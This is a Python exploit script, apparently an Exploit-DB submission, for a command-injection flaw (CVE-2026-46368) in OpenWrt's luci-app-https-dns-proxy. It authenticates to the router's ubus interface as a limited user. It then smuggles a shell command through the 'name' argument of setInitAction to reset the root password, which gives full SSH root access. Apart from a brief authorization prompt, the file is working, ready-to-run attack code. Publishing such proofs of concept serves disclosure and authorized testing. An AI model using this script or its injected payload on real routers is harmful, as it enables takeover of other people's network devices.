#!/usr/bin/env python3 # Exploit Title: OpenWrt luci-app-https-dns-proxy - Authenticated Remote Code Execution (RCE) # Date: 2026-01-17 # Exploit Author: Ahmet Mersin # Author Website: https://ahmetmersin.com # Author GitHub: https://github.com/iwallplace # Author HackerOne: https://hackerone.com/iwallplace # Author Contact: hestiases@gmail.com # PoC Repository: https://github.com/iwallplace/CVE-2026-46368-OpenWrt-Exploit # Vendor Homepage: https://github.com/stangri/luci-app-https-dns-proxy # Software Link: https://github.com/stangri/luci-app-https-dns-proxy # Version: All versions prior to 2026-01-17 # Tested on: OpenWrt 23.05 # CVE : CVE-2026-46368 """ OpenWrt luci-app-https-dns-proxy Root Takeover Exploit CVE-2026-46368 - Local Privilege Escalation via Command Injection Author : Ahmet Mersin GitHub : https://github.com/iwallplace (PoC repo: CVE-2026-46368-OpenWrt-Exploit) This Proof-of-Concept is the original work of Ahmet Mersin, discovered and reported by the author. Credit must be retained on any reuse or republication. """ import requests import sys import getpass def banner(): print(""" ╔═══════════════════════════════════════════════════════════════╗ ║ OpenWrt https-dns-proxy Root Takeover Exploit ║ ║ CVE-2026-46368 | Privilege Escalation via Command Injection ║ ║ ║ ║ Developed by: ahmetmersin.com ║ ╚═══════════════════════════════════════════════════════════════╝ Author : Ahmet Mersin | ahmetmersin.com | github.com/iwallplace CVE-2026-46368 | EDB-52521 """) def get_user_input(): print("[*] Target Router Information:") target_ip = input(" Router IP [192.168.1.1]: ").strip() or "192.168.1.1" print("\n[*] Limited User Credentials (user with https-dns-proxy ACL):") username = input(" Username: ").strip() if not username: print("[-] Username cannot be empty!") sys.exit(1) password = getpass.getpass(" Password: ") if not password: print("[-] Password cannot be empty!") sys.exit(1) print("\n[*] New Root Password:") new_root_pass = getpass.getpass(" Enter new root password: ") if not new_root_pass: print("[-] Password cannot be empty!") sys.exit(1) confirm_pass = getpass.getpass(" Confirm new root password: ") if new_root_pass != confirm_pass: print("\n[-] Passwords do not match!") sys.exit(1) return target_ip, username, password, new_root_pass def login(target_ip, username, password): print(f"\n[*] Authenticating as '{username}'...") endpoint = f"http://{target_ip}/ubus" payload = { "jsonrpc": "2.0", "id": 1, "method": "call", "params": [ "00000000000000000000000000000000", "session", "login", {"username": username, "password": password} ] } try: r = requests.post(endpoint, json=payload, timeout=10) response = r.json() if "result" in response and response["result"] and len(response["result"]) > 1: result = response["result"][1] if "ubus_rpc_session" in result: token = result["ubus_rpc_session"] print(f"[+] Login successful! Session token: {token[:16]}...") # Check if user has the vulnerable permission acls = result.get("acls", {}).get("ubus", {}) if "luci.https-dns-proxy" in acls: if "setInitAction" in acls["luci.https-dns-proxy"]: print(f"[+] User has access to vulnerable function!") return token, endpoint print("[-] User does not have 'setInitAction' permission!") return None, None print(f"[-] Login failed: {response}") return None, None except requests.exceptions.ConnectionError: print(f"[-] Connection error: Cannot reach {target_ip}") return None, None except Exception as e: print(f"[-] Error: {e}") return None, None def change_root_password(endpoint, session_id, new_password): print(f"\n[*] Changing root password...") # Payload: Use passwd with printf to change root password malicious_name = f"x; printf '{new_password}\\n{new_password}\\n' | passwd root; echo done >" payload = { "jsonrpc": "2.0", "id": 666, "method": "call", "params": [ session_id, "luci.https-dns-proxy", "setInitAction", {"name": malicious_name, "action": "start"} ] } try: r = requests.post(endpoint, json=payload, timeout=10) response = r.json() print(f"[*] Response: {response}") # Check if result is True (command executed successfully) if "result" in response and len(response["result"]) > 1: result_data = response["result"][1] if isinstance(result_data, dict) and result_data.get("result") == True: print(f"\n" + "="*60) print(f"[+] EXPLOIT SUCCESSFUL!") print(f"="*60) ip = endpoint.split('//')[1].split('/')[0] print(f"\n[*] You can now login with the new root password:") print(f" ssh root@{ip}") print(f" Password: ") return True else: print(f"\n" + "="*60) print(f"[-] EXPLOIT FAILED - Command was blocked!") print(f"="*60) print(f"\n[!] The target may have been patched.") return False else: print(f"[-] Unexpected response format") return False except Exception as e: print(f"[-] Error: {e}") return False def main(): banner() print("[!] WARNING: This tool is for authorized security testing only!") print("[!] Unauthorized access to computer systems is illegal.\n") confirm = input("Do you have permission to test this target? [y/N]: ").strip().lower() if confirm != 'y': print("Aborted.") sys.exit(0) target_ip, username, password, new_root_pass = get_user_input() session_id, endpoint = login(target_ip, username, password) if session_id: success = change_root_password(endpoint, session_id, new_root_pass) if success: print("\n[+] Exploit completed! Test SSH access with the new password.") else: print("\n[-] Authentication failed. Exploit aborted.") sys.exit(1) if __name__ == "__main__": main()